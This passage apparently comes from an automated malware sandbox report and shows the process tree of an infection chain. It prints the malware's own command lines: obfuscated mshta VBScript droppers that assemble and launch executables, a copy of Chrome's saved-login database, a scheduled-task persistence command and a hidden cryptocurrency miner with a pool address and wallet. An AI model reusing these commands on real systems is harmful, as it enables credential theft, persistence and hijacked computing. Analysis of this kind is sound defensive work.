        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\sF0PPpnmkNGtoshXjIcSBrPz.exe" ) do taskkill -im "%~NxK" -F
        9⤵
        
        PID:6900
        
        C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
        
        8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
        10⤵
        
        PID:7060
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        11⤵
        Checks whether UAC is enabled
        
        PID:6760
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
        12⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
        11⤵
        Checks whether UAC is enabled
        Modifies Internet Explorer settings
        
        PID:5880
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
        12⤵
        
        PID:2304
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        13⤵
        
        PID:6768
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
        13⤵
        
        PID:5144
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y .\N3V4H8H.SXY
        13⤵
        
        PID:6844
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "sF0PPpnmkNGtoshXjIcSBrPz.exe" -F
        10⤵
        Kills process with taskkill
        
        PID:7032
        
        C:\Users\Admin\Pictures\Adobe Films\AcE5WunU9rbhvxIHGczo1xiA.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AcE5WunU9rbhvxIHGczo1xiA.exe"
        7⤵
        Loads dropped DLL
        
        PID:7052
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        8⤵
        Adds Run key to start application
        
        PID:5496
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"
        9⤵
        Checks whether UAC is enabled
        
        PID:6820
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x298,0x294,0x290,0x2bc,0x28c,0x7ff88db2dec0,0x7ff88db2ded0,0x7ff88db2dee0
        10⤵
        
        PID:7136
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1728,14318272383274401953,8655748063075876082,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6820_864999767" --mojo-platform-channel-handle=1744 /prefetch:8
        10⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:5356
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun0351a0558292.exe
        5⤵
        
        PID:4656
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0351a0558292.exe
        
        Sun0351a0558292.exe
        6⤵
        Executes dropped EXE
        
        PID:3904
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun0328255c4bce6fb.exe
        5⤵
        
        PID:3660
      - C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun0328255c4bce6fb.exe
        
        Sun0328255c4bce6fb.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5044
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun03f5d51697d04.exe
        5⤵
        
        PID:4648
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun03ea09aa5c9686e5.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4620
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Sun038db98f99bf9a.exe
        5⤵
        
        PID:4336
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 420 -s 580
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3548
- C:\Windows\SysWOW64\wlanext.exe
  "C:\Windows\SysWOW64\wlanext.exe"
  2⤵
  - Adds policy Run key to start application
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Modifies Internet Explorer settings
  - Suspicious behavior: MapViewOfSection
  PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\Pictures\Adobe Films\UzYxXqOkTtDpwSezwVXY7Exr.exe"
    3⤵
    PID:6352
- - C:\Windows\SysWOW64\cmd.exe
    /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
    3⤵
    PID:2616
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:6232
- C:\Program Files (x86)\Hsnulor\updateppq.exe
  "C:\Program Files (x86)\Hsnulor\updateppq.exe"
  2⤵
  PID:1972

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
PID:5060
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k SystemNetworkService
  2⤵
  - Drops file in System32 directory
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2708

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2700
- C:\Windows\system32\wbem\WMIADAP.EXE
  wmiadap.exe /F /T /R
  2⤵
  PID:5160

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1888

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1220

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1096

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:356

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03ea09aa5c9686e5.exe
Sun03ea09aa5c9686e5.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4252
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:1744
- - C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
    3⤵
    - Executes dropped EXE
    PID:3500
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
      4⤵
      PID:5652
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        
        PID:1908
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:5768
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Blocklisted process makes network request
        
        PID:1384
      - C:\Users\Admin\AppData\Roaming\services64.exe
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        6⤵
        
        PID:4488
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:5940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        8⤵
        
        PID:5556
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        9⤵
        
        PID:5268
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
        8⤵
        
        PID:1988
- - C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
    "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3128
  - - C:\Users\Admin\AppData\Roaming\8767932.exe
      "C:\Users\Admin\AppData\Roaming\8767932.exe"
      4⤵
      Executes dropped EXE
      PID:3352
  - - C:\Users\Admin\AppData\Roaming\1444996.exe
      "C:\Users\Admin\AppData\Roaming\1444996.exe"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2064
  - - C:\Users\Admin\AppData\Roaming\5906233.exe
      "C:\Users\Admin\AppData\Roaming\5906233.exe"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:5164
  - - C:\Users\Admin\AppData\Roaming\7573297.exe
      "C:\Users\Admin\AppData\Roaming\7573297.exe"
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      PID:5604
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBscript:cLosE(CreAteoBject ( "WscRipT.SheLL"). RuN ( "CmD /q /r COpy /y ""C:\Users\Admin\AppData\Roaming\7573297.exe"" ..\O0rNF.EXE &&StarT ..\O0rNF.Exe /P2shWm1kbqdY & If """"== """" for %a In ( ""C:\Users\Admin\AppData\Roaming\7573297.exe"" ) do taskkill /iM ""%~Nxa"" -f " , 0, TRue) )
        5⤵
        Checks whether UAC is enabled
        
        PID:5992
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /r COpy /y "C:\Users\Admin\AppData\Roaming\7573297.exe" ..\O0rNF.EXE&&StarT ..\O0rNF.Exe /P2shWm1kbqdY &If ""== "" for %a In ( "C:\Users\Admin\AppData\Roaming\7573297.exe" ) do taskkill /iM "%~Nxa" -f
        6⤵
        
        PID:5760
        
        C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE
        
        ..\O0rNF.Exe /P2shWm1kbqdY
        7⤵
        
        PID:5356
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBscript:cLosE(CreAteoBject ( "WscRipT.SheLL"). RuN ( "CmD /q /r COpy /y ""C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE"" ..\O0rNF.EXE &&StarT ..\O0rNF.Exe /P2shWm1kbqdY & If ""/P2shWm1kbqdY ""== """" for %a In ( ""C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE"" ) do taskkill /iM ""%~Nxa"" -f " , 0, TRue) )
        8⤵
        Checks whether UAC is enabled
        
        PID:5892
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /r COpy /y "C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE" ..\O0rNF.EXE&&StarT ..\O0rNF.Exe /P2shWm1kbqdY &If "/P2shWm1kbqdY "== "" for %a In ( "C:\Users\Admin\AppData\Local\Temp\O0rNF.EXE" ) do taskkill /iM "%~Nxa" -f
        9⤵
        
        PID:5684
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBscrIpt: CloSe ( creATEObjecT( "wsCRIpT.sHell" ). RUN ( "Cmd /C Echo | set /p = ""MZ"" > q7PV.R & Copy /y /b Q7PV.R + 21_qTAy.5T + Z8D16.1 ..\MGLZR6G.SL1 & sTArt control ..\MgLZR6G.SL1 &Del /q * " , 0, TRuE) )
        8⤵
        
        PID:5576
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C Echo | set /p = "MZ" > q7PV.R & Copy /y /b Q7PV.R + 21_qTAy.5T+Z8D16.1 ..\MGLZR6G.SL1 & sTArt control ..\MgLZR6G.SL1 &Del /q *
        9⤵
        
        PID:2276
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        10⤵
        
        PID:2864
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>q7PV.R"
        10⤵
        
        PID:3992
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\MgLZR6G.SL1
        10⤵
        
        PID:1216
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\MgLZR6G.SL1
        11⤵
        Loads dropped DLL
        
        PID:4100
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\MgLZR6G.SL1
        12⤵
        
        PID:6272
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\MgLZR6G.SL1
        13⤵
        
        PID:4360
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /iM "7573297.exe" -f
        7⤵
        Kills process with taskkill
        
        PID:5352
  - - C:\Users\Admin\AppData\Roaming\5505137.exe
      "C:\Users\Admin\AppData\Roaming\5505137.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:5644
    - - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        5⤵
        Executes dropped EXE
        
        PID:6076
  - - C:\Users\Admin\AppData\Roaming\681845.exe
      "C:\Users\Admin\AppData\Roaming\681845.exe"
      4⤵
      Executes dropped EXE
      PID:5736
- - C:\Users\Admin\AppData\Local\Temp\inst1.exe
    "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
    3⤵
    - Executes dropped EXE
    PID:1152
- - C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe
    "C:\Users\Admin\AppData\Local\Temp\Soft1WW01.exe"
    3⤵
    - Executes dropped EXE
    PID:1836
- - C:\Users\Admin\AppData\Local\Temp\5.exe
    "C:\Users\Admin\AppData\Local\Temp\5.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3968
- - C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
    "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
    3⤵
    - Executes dropped EXE
    - Checks whether UAC is enabled
    PID:3592
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
      4⤵
      Checks whether UAC is enabled
      PID:1872
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        5⤵
        
        PID:3196
      - C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:1820
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        7⤵
        
        PID:4080
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        8⤵
        
        PID:5212
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        7⤵
        Checks whether UAC is enabled
        
        PID:5624
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        8⤵
        
        PID:1496
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        9⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        9⤵
        
        PID:1088
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        9⤵
        Loads dropped DLL
        
        PID:1796
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        6⤵
        Kills process with taskkill
        
        PID:5220
- - C:\Users\Admin\AppData\Local\Temp\4.exe
    "C:\Users\Admin\AppData\Local\Temp\4.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
  - - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      PID:1008
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    - Executes dropped EXE
    PID:2332
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 792
      4⤵
      Program crash
      PID:5472
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 840
      4⤵
      Program crash
      PID:5936
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 804
      4⤵
      Program crash
      PID:5292
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 852
      4⤵
      Program crash
      PID:5484
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 920
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      PID:612
- - C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe
    "C:\Users\Admin\AppData\Local\Temp\chenxiulan-game.exe"
    3⤵
    - Executes dropped EXE
    PID:2472
- - C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
    "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:64
  - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
      C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      PID:5956
    - - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--ZgwMku75"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of FindShellTrayWindow
        
        PID:5576
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1c4,0x1f4,0x7ff88db2dec0,0x7ff88db2ded0,0x7ff88db2dee0
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4636
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2436 /prefetch:1
        6⤵
        Checks computer location settings
        Loads dropped DLL
        
        PID:5912
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=2032 /prefetch:8
        6⤵
        Loads dropped DLL
        
        PID:2572
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=2016 /prefetch:8
        6⤵
        Loads dropped DLL
        Checks whether UAC is enabled
        Modifies system certificate store
        
        PID:4080
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1968 /prefetch:2
        6⤵
        
        PID:5720
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
